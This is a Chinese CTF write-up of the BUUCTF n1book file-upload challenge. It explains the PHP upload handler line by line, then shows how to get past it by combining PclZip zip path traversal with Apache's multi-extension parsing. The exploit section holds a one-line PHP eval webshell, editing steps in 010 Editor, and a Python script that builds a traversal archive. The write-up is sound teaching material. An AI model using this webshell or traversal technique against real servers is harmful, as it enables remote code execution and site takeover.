题目:buuctf的n1book [第二章 web进阶]文件上传
一、题目源码:
这里看到每5分钟清理一次,一开始以为是条件竞争,但是代码审计过后,发现但代码中 check_dir 在每次上传后都立即运行,所以可以排除
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>文件上传章节练习题</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<style type="text/css">
.login-box{
margin-top: 100px;
height: 500px;
border: 1px solid #000;
}
body{
background: white;
}
.btn1{
width: 200px;
}
.d1{
display: block;
height: 400px;
}
</style>
</head>
<body>
<div class="container">
<div class="login-box col-md-12">
<form class="form-horizontal" method="post" enctype="multipart/form-data" >
<h1>文件上传章节练习题</h1>
<hr />
<div class="form-group">
<label class="col-sm-2 control-label">选择文件:</label>
<div class="input-group col-sm-10">
<div >
<label for="">
<input type="file" name="file" />
</label>
</div>
</div>
</div> <div class="col-sm-8 text-right">
<input type="submit" class="btn btn-success text-right btn1" />
</div>
</form>
</div>
</div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}
解释:
基础设置与文件包含
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
header(...): 设置网页输出的字符编码为 UTF-8,防止中文乱码。- 注释: 提示了一个关键信息:服务器上的上传目录每 5 分钟会自动清理一次。这意味着攻击者即使上传了文件,也必须在短时间内利用,否则文件会被删除
require_once('pclzip.lib.php'): 引入了一个名为 PclZip 的第三方 PHP 库,用于处理 ZIP 压缩包的解压功能,但它存在一个目录遍历漏洞
2. 前端页面逻辑 (未上传文件时)
if(!$_FILES){
// 输出 HTML 表单代码...
show_source(__FILE__);
}
- 逻辑: 如果
$_FILES超全局变量为空(即用户刚访问页面,还没有提交文件),则执行大括号内的代码。 - HTML 输出: 打印出一个基于 Bootstrap 3.3.7 样式的网页,包含一个文件上传表单(
<form enctype="multipart/form-data">)。这个表单允许用户选择文件并提交。 show_source(__FILE__): 它会直接在网页底部显示当前这个 PHP 文件的源代码。
3. 后端处理逻辑 (上传文件后)
当用户提交了文件,代码进入 else 分支进行处理。
3.1 变量初始化与空值检查
}else{
$file = $_FILES['file']; // 获取上传的文件信息数组
if(!$file){
exit("请勿上传空文件"); // 如果没选文件,直接报错退出
}
$name = $file['name']; // 获取上传的原始文件名
$dir = 'upload/'; // 定义基础上传目录
$ext = strtolower(substr(strrchr($name, '.'), 1)); // 提取文件后缀名,并转为小写
$path = $dir.$name; // 拼接路径(虽然定义了,但后面没直接用这个变量保存)
$ext提取逻辑:strrchr($name, '.')找到最后一个点,substr(..., 1)去掉点只要后缀,strtolower转小写。$path: 虽然拼接了路径,但后续代码并没有直接使用这个变量来保存文件。
3.2 check_dir 函数定义
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f); // 删除文件
}
}
}
}
}
- 功能: 这是一个递归函数,用于扫描指定目录及其子目录下的所有文件。
- 逻辑:
- 遍历目录下的文件。
- 如果是子目录,递归调用自己继续扫描。
- 如果是文件,检查其后缀名。
- 核心规则: 如果文件后缀不是
jpg,gif, 或png,则使用unlink()将其删除。 - 目的: 这是一个“兜底”机制。无论文件怎么上传进来,只要不是这三种图片格式,最终都会被这个函数清理掉。这通常是为了防止 WebShell(一句话木马)被上传。
3.3 目录创建逻辑
if(!is_dir($dir)){
mkdir($dir); // 如果 upload 目录不存在,创建它
} $temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir); // 创建一个基于时间戳和随机数的唯一临时目录
}
$temp_dir: 代码没有直接将文件上传到根目录,而是先创建了一个随机命名的子目录(例如upload/5d41402abc4b2a76b9719d911017459b/)。这增加了攻击者猜测文件路径的难度。
3.4 文件类型验证与处理
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
// 处理 ZIP 文件
$archive = new PclZip($file['tmp_name']); // 1. 检查压缩包内容
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
} // 2. 尝试解压
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir); // 解压失败则清理
exit("解压失败");
}
check_dir($dir); // 解压成功后,运行清理函数
exit('上传成功!'); }else{
// 处理图片文件 (jpg, gif, png)
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
逻辑详细拆解:
-
白名单检查: 首先检查上传文件的后缀是否在
zip,jpg,gif,png之中。如果不是,直接拒绝。 -
ZIP 文件处理分支:
-
实例化: 使用 PclZip 库加载临时文件。
-
内容扫描: 使用
listContent()遍历压缩包内的所有文件名。使用正则
preg_match('/\.php$/', $filename)严格检查是否有文件以
.php结尾 -
解压: 如果没有 PHP 文件,就解压到之前生成的随机临时目录
$temp_dir。 -
清理: 解压完成后,调用
check_dir($dir)。这意味着,如果解压出来的文件不是 jpg/gif/png,它们会被立刻删除,也就是没办法利用条件竞争了。 -
图片文件处理分支:
-
直接将上传的 jpg/gif/png 文件移动到随机临时目录。
- 调用
check_dir(对于合法图片来说,这一步不会删除它们)
利用思路:
【1】PclZip 漏洞: 利用 PclZip 库的已知漏洞目录遍历,将文件解压到 Web 目录外或绕过检查,压缩包文件目录穿越,压缩包内文件命名为/../../xxx.php.xxx
【2】Apache php解析漏洞,xxx.php.xxx被当成xxx.php解析

这里随便访问一个不存在的文件,由报错可以发现是apache
实战
注:构造../../zzz.php.zzz也可以
【1】等下要构造/../../zzz.php.zzz文件,而通过010editor构造恶意压缩包,这里需要注意修改后的文件名长度与修改前一致,否则解压会报错
前面那个长度为18,所以修改前文件命名也要为18位,命名123456789012345678,再压缩为123456789012345678.zip,用010editor打开
#123456789012345678文件内容如下:
<?php @eval($_GET['sb']);?>

【2】修改文件内容,展开上面的dirEntry

【3】修改为/../../zzz.php.zzz,ctrl+s报存

【4】上传123456789012345678.zip文件,再去访问得到flag

或者直接python脚本生成:
import zipfilepayload = """sb
"""with zipfile.ZipFile("sb.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../xxx.php.xxx", payload)
解释:
(1)zipfile.ZipFile("sb.zip", "w", ...):创建一个名为 sb.zip 的新压缩包,模式为写入("w")。
(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename,这里由于题目好像只用生成了文件,他会自动添加flag到你那个文件里,所以就随便写个内容(sb)
